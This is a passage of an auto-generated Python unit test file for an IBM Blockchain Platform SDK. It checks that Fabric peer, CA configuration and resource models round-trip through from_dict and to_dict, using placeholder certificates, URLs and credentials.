resource_object_model['limits'] = resource_limits_model
resource_object_fab_v1_model = {} # ResourceObjectFabV1
resource_object_fab_v1_model['requests'] = resource_requests_model
resource_object_fab_v1_model['limits'] = resource_limits_model
# Construct a json representation of a PeerResources model
peer_resources_model_json = {}
peer_resources_model_json['chaincodelauncher'] = resource_object_fab_v2_model
peer_resources_model_json['couchdb'] = resource_object_couch_db_model
peer_resources_model_json['statedb'] = resource_object_model
peer_resources_model_json['dind'] = resource_object_fab_v1_model
peer_resources_model_json['fluentd'] = resource_object_fab_v1_model
peer_resources_model_json['peer'] = resource_object_model
peer_resources_model_json['proxy'] = resource_object_model
# Construct a model instance of PeerResources by calling from_dict on the json representation
peer_resources_model = PeerResources.from_dict(peer_resources_model_json)
assert peer_resources_model != False
# Construct a model instance of PeerResources by calling from_dict on the json representation
peer_resources_model_dict = PeerResources.from_dict(peer_resources_model_json).__dict__
peer_resources_model2 = PeerResources(**peer_resources_model_dict)
# Verify the model instances are equivalent
assert peer_resources_model == peer_resources_model2
# Convert model instance back to dict and verify no loss of data
peer_resources_model_json2 = peer_resources_model.to_dict()
assert peer_resources_model_json2 == peer_resources_model_json
class TestPeerResponse():
"""
Test Class for PeerResponse
"""
def test_peer_response_serialization(self):
"""
Test serialization/deserialization for PeerResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
node_ou_model = {} # NodeOu
node_ou_model['enabled'] = True
msp_crypto_field_ca_model = {} # MspCryptoFieldCa
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_tlsca_model = {} # MspCryptoFieldTlsca
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_component_model = {} # MspCryptoFieldComponent
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_model = {} # MspCryptoField
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
peer_response_resources_model = {} # PeerResponseResources
peer_response_resources_model['peer'] = generic_resources_model
peer_response_resources_model['proxy'] = generic_resources_model
peer_response_resources_model['statedb'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
peer_response_storage_model = {} # PeerResponseStorage
peer_response_storage_model['peer'] = storage_object_model
peer_response_storage_model['statedb'] = storage_object_model
# Construct a json representation of a PeerResponse model
peer_response_model_json = {}
peer_response_model_json['id'] = 'component1'
peer_response_model_json['dep_component_id'] = 'admin'
peer_response_model_json['api_url'] = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
peer_response_model_json['display_name'] = 'My Peer'
peer_response_model_json['grpcwp_url'] = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
peer_response_model_json['location'] = 'ibmcloud'
peer_response_model_json['operations_url'] = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
peer_response_model_json['config_override'] = { 'foo': 'bar' }
peer_response_model_json['node_ou'] = node_ou_model
peer_response_model_json['msp'] = msp_crypto_field_model
peer_response_model_json['msp_id'] = 'Org1'
peer_response_model_json['resources'] = peer_response_resources_model
peer_response_model_json['scheme_version'] = 'v1'
peer_response_model_json['state_db'] = 'couchdb'
peer_response_model_json['storage'] = peer_response_storage_model
peer_response_model_json['tags'] = ['fabric-ca']
peer_response_model_json['timestamp'] = 1537262855753
peer_response_model_json['type'] = 'fabric-peer'
peer_response_model_json['version'] = '1.4.6-1'
peer_response_model_json['zone'] = '-'
# Construct a model instance of PeerResponse by calling from_dict on the json representation
peer_response_model = PeerResponse.from_dict(peer_response_model_json)
assert peer_response_model != False
# Construct a model instance of PeerResponse by calling from_dict on the json representation
peer_response_model_dict = PeerResponse.from_dict(peer_response_model_json).__dict__
peer_response_model2 = PeerResponse(**peer_response_model_dict)
# Verify the model instances are equivalent
assert peer_response_model == peer_response_model2
# Convert model instance back to dict and verify no loss of data
peer_response_model_json2 = peer_response_model.to_dict()
assert peer_response_model_json2 == peer_response_model_json
class TestPeerResponseResources():
"""
Test Class for PeerResponseResources
"""
def test_peer_response_resources_serialization(self):
"""
Test serialization/deserialization for PeerResponseResources
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
# Construct a json representation of a PeerResponseResources model
peer_response_resources_model_json = {}
peer_response_resources_model_json['peer'] = generic_resources_model
peer_response_resources_model_json['proxy'] = generic_resources_model
peer_response_resources_model_json['statedb'] = generic_resources_model
# Construct a model instance of PeerResponseResources by calling from_dict on the json representation
peer_response_resources_model = PeerResponseResources.from_dict(peer_response_resources_model_json)
assert peer_response_resources_model != False
# Construct a model instance of PeerResponseResources by calling from_dict on the json representation
peer_response_resources_model_dict = PeerResponseResources.from_dict(peer_response_resources_model_json).__dict__
peer_response_resources_model2 = PeerResponseResources(**peer_response_resources_model_dict)
# Verify the model instances are equivalent
assert peer_response_resources_model == peer_response_resources_model2
# Convert model instance back to dict and verify no loss of data
peer_response_resources_model_json2 = peer_response_resources_model.to_dict()
assert peer_response_resources_model_json2 == peer_response_resources_model_json
class TestPeerResponseStorage():
"""
Test Class for PeerResponseStorage
"""
def test_peer_response_storage_serialization(self):
"""
Test serialization/deserialization for PeerResponseStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a PeerResponseStorage model
peer_response_storage_model_json = {}
peer_response_storage_model_json['peer'] = storage_object_model
peer_response_storage_model_json['statedb'] = storage_object_model
# Construct a model instance of PeerResponseStorage by calling from_dict on the json representation
peer_response_storage_model = PeerResponseStorage.from_dict(peer_response_storage_model_json)
assert peer_response_storage_model != False
# Construct a model instance of PeerResponseStorage by calling from_dict on the json representation
peer_response_storage_model_dict = PeerResponseStorage.from_dict(peer_response_storage_model_json).__dict__
peer_response_storage_model2 = PeerResponseStorage(**peer_response_storage_model_dict)
# Verify the model instances are equivalent
assert peer_response_storage_model == peer_response_storage_model2
# Convert model instance back to dict and verify no loss of data
peer_response_storage_model_json2 = peer_response_storage_model.to_dict()
assert peer_response_storage_model_json2 == peer_response_storage_model_json
class TestRemoveMultiComponentsResponse():
"""
Test Class for RemoveMultiComponentsResponse
"""
def test_remove_multi_components_response_serialization(self):
"""
Test serialization/deserialization for RemoveMultiComponentsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
delete_component_response_model = {} # DeleteComponentResponse
delete_component_response_model['message'] = 'deleted'
delete_component_response_model['type'] = 'fabric-peer'
delete_component_response_model['id'] = 'component1'
delete_component_response_model['display_name'] = 'My Peer'
# Construct a json representation of a RemoveMultiComponentsResponse model
remove_multi_components_response_model_json = {}
remove_multi_components_response_model_json['removed'] = [delete_component_response_model]
# Construct a model instance of RemoveMultiComponentsResponse by calling from_dict on the json representation
remove_multi_components_response_model = RemoveMultiComponentsResponse.from_dict(remove_multi_components_response_model_json)
assert remove_multi_components_response_model != False
# Construct a model instance of RemoveMultiComponentsResponse by calling from_dict on the json representation
remove_multi_components_response_model_dict = RemoveMultiComponentsResponse.from_dict(remove_multi_components_response_model_json).__dict__
remove_multi_components_response_model2 = RemoveMultiComponentsResponse(**remove_multi_components_response_model_dict)
# Verify the model instances are equivalent
assert remove_multi_components_response_model == remove_multi_components_response_model2
# Convert model instance back to dict and verify no loss of data
remove_multi_components_response_model_json2 = remove_multi_components_response_model.to_dict()
assert remove_multi_components_response_model_json2 == remove_multi_components_response_model_json
class TestResourceLimits():
"""
Test Class for ResourceLimits
"""
def test_resource_limits_serialization(self):
"""
Test serialization/deserialization for ResourceLimits
"""
# Construct a json representation of a ResourceLimits model
resource_limits_model_json = {}
resource_limits_model_json['cpu'] = '100m'
resource_limits_model_json['memory'] = '256MiB'
# Construct a model instance of ResourceLimits by calling from_dict on the json representation
resource_limits_model = ResourceLimits.from_dict(resource_limits_model_json)
assert resource_limits_model != False
# Construct a model instance of ResourceLimits by calling from_dict on the json representation
resource_limits_model_dict = ResourceLimits.from_dict(resource_limits_model_json).__dict__
resource_limits_model2 = ResourceLimits(**resource_limits_model_dict)
# Verify the model instances are equivalent
assert resource_limits_model == resource_limits_model2
# Convert model instance back to dict and verify no loss of data
resource_limits_model_json2 = resource_limits_model.to_dict()
assert resource_limits_model_json2 == resource_limits_model_json
class TestResourceObject():
"""
Test Class for ResourceObject
"""
def test_resource_object_serialization(self):
"""
Test serialization/deserialization for ResourceObject
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a json representation of a ResourceObject model
resource_object_model_json = {}
resource_object_model_json['requests'] = resource_requests_model
resource_object_model_json['limits'] = resource_limits_model
# Construct a model instance of ResourceObject by calling from_dict on the json representation
resource_object_model = ResourceObject.from_dict(resource_object_model_json)
assert resource_object_model != False
# Construct a model instance of ResourceObject by calling from_dict on the json representation
resource_object_model_dict = ResourceObject.from_dict(resource_object_model_json).__dict__
resource_object_model2 = ResourceObject(**resource_object_model_dict)
# Verify the model instances are equivalent
assert resource_object_model == resource_object_model2
# Convert model instance back to dict and verify no loss of data
resource_object_model_json2 = resource_object_model.to_dict()
assert resource_object_model_json2 == resource_object_model_json
class TestResourceObjectCouchDb():
"""
Test Class for ResourceObjectCouchDb
"""
def test_resource_object_couch_db_serialization(self):
"""
Test serialization/deserialization for ResourceObjectCouchDb
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a json representation of a ResourceObjectCouchDb model
resource_object_couch_db_model_json = {}
resource_object_couch_db_model_json['requests'] = resource_requests_model
resource_object_couch_db_model_json['limits'] = resource_limits_model
# Construct a model instance of ResourceObjectCouchDb by calling from_dict on the json representation
resource_object_couch_db_model = ResourceObjectCouchDb.from_dict(resource_object_couch_db_model_json)
assert resource_object_couch_db_model != False
# Construct a model instance of ResourceObjectCouchDb by calling from_dict on the json representation
resource_object_couch_db_model_dict = ResourceObjectCouchDb.from_dict(resource_object_couch_db_model_json).__dict__
resource_object_couch_db_model2 = ResourceObjectCouchDb(**resource_object_couch_db_model_dict)
# Verify the model instances are equivalent
assert resource_object_couch_db_model == resource_object_couch_db_model2
# Convert model instance back to dict and verify no loss of data
resource_object_couch_db_model_json2 = resource_object_couch_db_model.to_dict()
assert resource_object_couch_db_model_json2 == resource_object_couch_db_model_json
class TestResourceObjectFabV1():
"""
Test Class for ResourceObjectFabV1
"""
def test_resource_object_fab_v1_serialization(self):
"""
Test serialization/deserialization for ResourceObjectFabV1
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a json representation of a ResourceObjectFabV1 model
resource_object_fab_v1_model_json = {}
resource_object_fab_v1_model_json['requests'] = resource_requests_model
resource_object_fab_v1_model_json['limits'] = resource_limits_model
# Construct a model instance of ResourceObjectFabV1 by calling from_dict on the json representation
resource_object_fab_v1_model = ResourceObjectFabV1.from_dict(resource_object_fab_v1_model_json)
assert resource_object_fab_v1_model != False
# Construct a model instance of ResourceObjectFabV1 by calling from_dict on the json representation
resource_object_fab_v1_model_dict = ResourceObjectFabV1.from_dict(resource_object_fab_v1_model_json).__dict__
resource_object_fab_v1_model2 = ResourceObjectFabV1(**resource_object_fab_v1_model_dict)
# Verify the model instances are equivalent
assert resource_object_fab_v1_model == resource_object_fab_v1_model2
# Convert model instance back to dict and verify no loss of data
resource_object_fab_v1_model_json2 = resource_object_fab_v1_model.to_dict()
assert resource_object_fab_v1_model_json2 == resource_object_fab_v1_model_json
class TestResourceObjectFabV2():
"""
Test Class for ResourceObjectFabV2
"""
def test_resource_object_fab_v2_serialization(self):
"""
Test serialization/deserialization for ResourceObjectFabV2
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a json representation of a ResourceObjectFabV2 model
resource_object_fab_v2_model_json = {}
resource_object_fab_v2_model_json['requests'] = resource_requests_model
resource_object_fab_v2_model_json['limits'] = resource_limits_model
# Construct a model instance of ResourceObjectFabV2 by calling from_dict on the json representation
resource_object_fab_v2_model = ResourceObjectFabV2.from_dict(resource_object_fab_v2_model_json)
assert resource_object_fab_v2_model != False
# Construct a model instance of ResourceObjectFabV2 by calling from_dict on the json representation
resource_object_fab_v2_model_dict = ResourceObjectFabV2.from_dict(resource_object_fab_v2_model_json).__dict__
resource_object_fab_v2_model2 = ResourceObjectFabV2(**resource_object_fab_v2_model_dict)
# Verify the model instances are equivalent
assert resource_object_fab_v2_model == resource_object_fab_v2_model2
# Convert model instance back to dict and verify no loss of data
resource_object_fab_v2_model_json2 = resource_object_fab_v2_model.to_dict()
assert resource_object_fab_v2_model_json2 == resource_object_fab_v2_model_json
class TestResourceRequests():
"""
Test Class for ResourceRequests
"""
def test_resource_requests_serialization(self):
"""
Test serialization/deserialization for ResourceRequests
"""
# Construct a json representation of a ResourceRequests model
resource_requests_model_json = {}
resource_requests_model_json['cpu'] = '100m'
resource_requests_model_json['memory'] = '256MiB'
# Construct a model instance of ResourceRequests by calling from_dict on the json representation
resource_requests_model = ResourceRequests.from_dict(resource_requests_model_json)
assert resource_requests_model != False
# Construct a model instance of ResourceRequests by calling from_dict on the json representation
resource_requests_model_dict = ResourceRequests.from_dict(resource_requests_model_json).__dict__
resource_requests_model2 = ResourceRequests(**resource_requests_model_dict)
# Verify the model instances are equivalent
assert resource_requests_model == resource_requests_model2
# Convert model instance back to dict and verify no loss of data
resource_requests_model_json2 = resource_requests_model.to_dict()
assert resource_requests_model_json2 == resource_requests_model_json
class TestRestartAthenaResponse():
"""
Test Class for RestartAthenaResponse
"""
def test_restart_athena_response_serialization(self):
"""
Test serialization/deserialization for RestartAthenaResponse
"""
# Construct a json representation of a RestartAthenaResponse model
restart_athena_response_model_json = {}
restart_athena_response_model_json['message'] = 'restarting - give me 5-30 seconds'
# Construct a model instance of RestartAthenaResponse by calling from_dict on the json representation
restart_athena_response_model = RestartAthenaResponse.from_dict(restart_athena_response_model_json)
assert restart_athena_response_model != False
# Construct a model instance of RestartAthenaResponse by calling from_dict on the json representation
restart_athena_response_model_dict = RestartAthenaResponse.from_dict(restart_athena_response_model_json).__dict__
restart_athena_response_model2 = RestartAthenaResponse(**restart_athena_response_model_dict)
# Verify the model instances are equivalent
assert restart_athena_response_model == restart_athena_response_model2
# Convert model instance back to dict and verify no loss of data
restart_athena_response_model_json2 = restart_athena_response_model.to_dict()
assert restart_athena_response_model_json2 == restart_athena_response_model_json
class TestSettingsTimestampData():
"""
Test Class for SettingsTimestampData
"""
def test_settings_timestamp_data_serialization(self):
"""
Test serialization/deserialization for SettingsTimestampData
"""
# Construct a json representation of a SettingsTimestampData model
settings_timestamp_data_model_json = {}
settings_timestamp_data_model_json['now'] = 1542746836056
settings_timestamp_data_model_json['born'] = 1542746836056
settings_timestamp_data_model_json['next_settings_update'] = '1.2 mins'
settings_timestamp_data_model_json['up_time'] = '30 days'
# Construct a model instance of SettingsTimestampData by calling from_dict on the json representation
settings_timestamp_data_model = SettingsTimestampData.from_dict(settings_timestamp_data_model_json)
assert settings_timestamp_data_model != False
# Construct a model instance of SettingsTimestampData by calling from_dict on the json representation
settings_timestamp_data_model_dict = SettingsTimestampData.from_dict(settings_timestamp_data_model_json).__dict__
settings_timestamp_data_model2 = SettingsTimestampData(**settings_timestamp_data_model_dict)
# Verify the model instances are equivalent
assert settings_timestamp_data_model == settings_timestamp_data_model2
# Convert model instance back to dict and verify no loss of data
settings_timestamp_data_model_json2 = settings_timestamp_data_model.to_dict()
assert settings_timestamp_data_model_json2 == settings_timestamp_data_model_json
class TestStorageObject():
"""
Test Class for StorageObject
"""
def test_storage_object_serialization(self):
"""
Test serialization/deserialization for StorageObject
"""
# Construct a json representation of a StorageObject model
storage_object_model_json = {}
storage_object_model_json['size'] = '4GiB'
storage_object_model_json['class'] = 'default'
# Construct a model instance of StorageObject by calling from_dict on the json representation
storage_object_model = StorageObject.from_dict(storage_object_model_json)
assert storage_object_model != False
# Construct a model instance of StorageObject by calling from_dict on the json representation
storage_object_model_dict = StorageObject.from_dict(storage_object_model_json).__dict__
storage_object_model2 = StorageObject(**storage_object_model_dict)
# Verify the model instances are equivalent
assert storage_object_model == storage_object_model2
# Convert model instance back to dict and verify no loss of data
storage_object_model_json2 = storage_object_model.to_dict()
assert storage_object_model_json2 == storage_object_model_json
class TestUpdateCaBodyConfigOverride():
"""
Test Class for UpdateCaBodyConfigOverride
"""
def test_update_ca_body_config_override_serialization(self):
"""
Test serialization/deserialization for UpdateCaBodyConfigOverride
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_cors_model = {} # ConfigCACors
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
config_ca_tls_clientauth_model = {} # ConfigCATlsClientauth
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
config_ca_tls_model = {} # ConfigCATls
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
config_ca_ca_model = {} # ConfigCACa
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
config_ca_crl_model = {} # ConfigCACrl
config_ca_crl_model['expiry'] = '24h'
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
config_ca_registry_identities_item_model = {} # ConfigCARegistryIdentitiesItem
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
config_ca_registry_model = {} # ConfigCARegistry
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
config_ca_db_tls_model = {} # ConfigCADbTls
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
config_ca_db_model = {} # ConfigCADb
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
config_ca_affiliations_model = {} # ConfigCAAffiliations
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
config_ca_csr_keyrequest_model = {} # ConfigCACsrKeyrequest
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
config_ca_csr_names_item_model = {} # ConfigCACsrNamesItem
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
config_ca_csr_ca_model = {} # ConfigCACsrCa
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
config_ca_csr_model = {} # ConfigCACsr
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
config_ca_idemix_model = {} # ConfigCAIdemix
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_ca_intermediate_parentserver_model = {} # ConfigCAIntermediateParentserver
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
config_ca_intermediate_enrollment_model = {} # ConfigCAIntermediateEnrollment
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
config_ca_intermediate_tls_model = {} # ConfigCAIntermediateTls
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
config_ca_intermediate_model = {} # ConfigCAIntermediate
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
config_ca_cfg_identities_model = {} # ConfigCACfgIdentities
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
config_ca_cfg_model = {} # ConfigCACfg
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
config_ca_update_model = {} # ConfigCAUpdate
config_ca_update_model['cors'] = config_ca_cors_model
config_ca_update_model['debug'] = False
config_ca_update_model['crlsizelimit'] = 512000
config_ca_update_model['tls'] = config_ca_tls_model
config_ca_update_model['ca'] = config_ca_ca_model
config_ca_update_model['crl'] = config_ca_crl_model
config_ca_update_model['registry'] = config_ca_registry_model
config_ca_update_model['db'] = config_ca_db_model
config_ca_update_model['affiliations'] = config_ca_affiliations_model
config_ca_update_model['csr'] = config_ca_csr_model
config_ca_update_model['idemix'] = config_ca_idemix_model
config_ca_update_model['BCCSP'] = bccsp_model
config_ca_update_model['intermediate'] = config_ca_intermediate_model
config_ca_update_model['cfg'] = config_ca_cfg_model
config_ca_update_model['metrics'] = metrics_model
# Construct a json representation of a UpdateCaBodyConfigOverride model
update_ca_body_config_override_model_json = {}
update_ca_body_config_override_model_json['ca'] = config_ca_update_model
# Construct a model instance of UpdateCaBodyConfigOverride by calling from_dict on the json representation
update_ca_body_config_override_model = UpdateCaBodyConfigOverride.from_dict(update_ca_body_config_override_model_json)
assert update_ca_body_config_override_model != False
# Construct a model instance of UpdateCaBodyConfigOverride by calling from_dict on the json representation
update_ca_body_config_override_model_dict = UpdateCaBodyConfigOverride.from_dict(update_ca_body_config_override_model_json).__dict__
update_ca_body_config_override_model2 = UpdateCaBodyConfigOverride(**update_ca_body_config_override_model_dict)
# Verify the model instances are equivalent
assert update_ca_body_config_override_model == update_ca_body_config_override_model2
# Convert model instance back to dict and verify no loss of data
update_ca_body_config_override_model_json2 = update_ca_body_config_override_model.to_dict()
assert update_ca_body_config_override_model_json2 == update_ca_body_config_override_model_json
class TestUpdateCaBodyResources():
"""
Test Class for UpdateCaBodyResources
"""
def test_update_ca_body_resources_serialization(self):
"""
Test serialization/deserialization for UpdateCaBodyResources
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
resource_object_model = {} # ResourceObject
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a json representation of a UpdateCaBodyResources model
update_ca_body_resources_model_json = {}
update_ca_body_resources_model_json['ca'] = resource_object_model
# Construct a model instance of UpdateCaBodyResources by calling from_dict on the json representation
update_ca_body_resources_model = UpdateCaBodyResources.from_dict(update_ca_body_resources_model_json)
assert update_ca_body_resources_model != False
# Construct a model instance of UpdateCaBodyResources by calling from_dict on the json representation
update_ca_body_resources_model_dict = UpdateCaBodyResources.from_dict(update_ca_body_resources_model_json).__dict__
update_ca_body_resources_model2 = UpdateCaBodyResources(**update_ca_body_resources_model_dict)
# Verify the model instances are equivalent
assert update_ca_body_resources_model == update_ca_body_resources_model2
# Convert model instance back to dict and verify no loss of data
update_ca_body_resources_model_json2 = update_ca_body_resources_model.to_dict()
assert update_ca_body_resources_model_json2 == update_ca_body_resources_model_json
class TestUpdateEnrollmentCryptoField():
"""
Test Class for UpdateEnrollmentCryptoField
"""
def test_update_enrollment_crypto_field_serialization(self):
"""
Test serialization/deserialization for UpdateEnrollmentCryptoField
"""
# Construct dict forms of any model objects needed in order to build this model.
crypto_enrollment_component_model = {} # CryptoEnrollmentComponent
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_enrollment_crypto_field_ca_model = {} # UpdateEnrollmentCryptoFieldCa
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
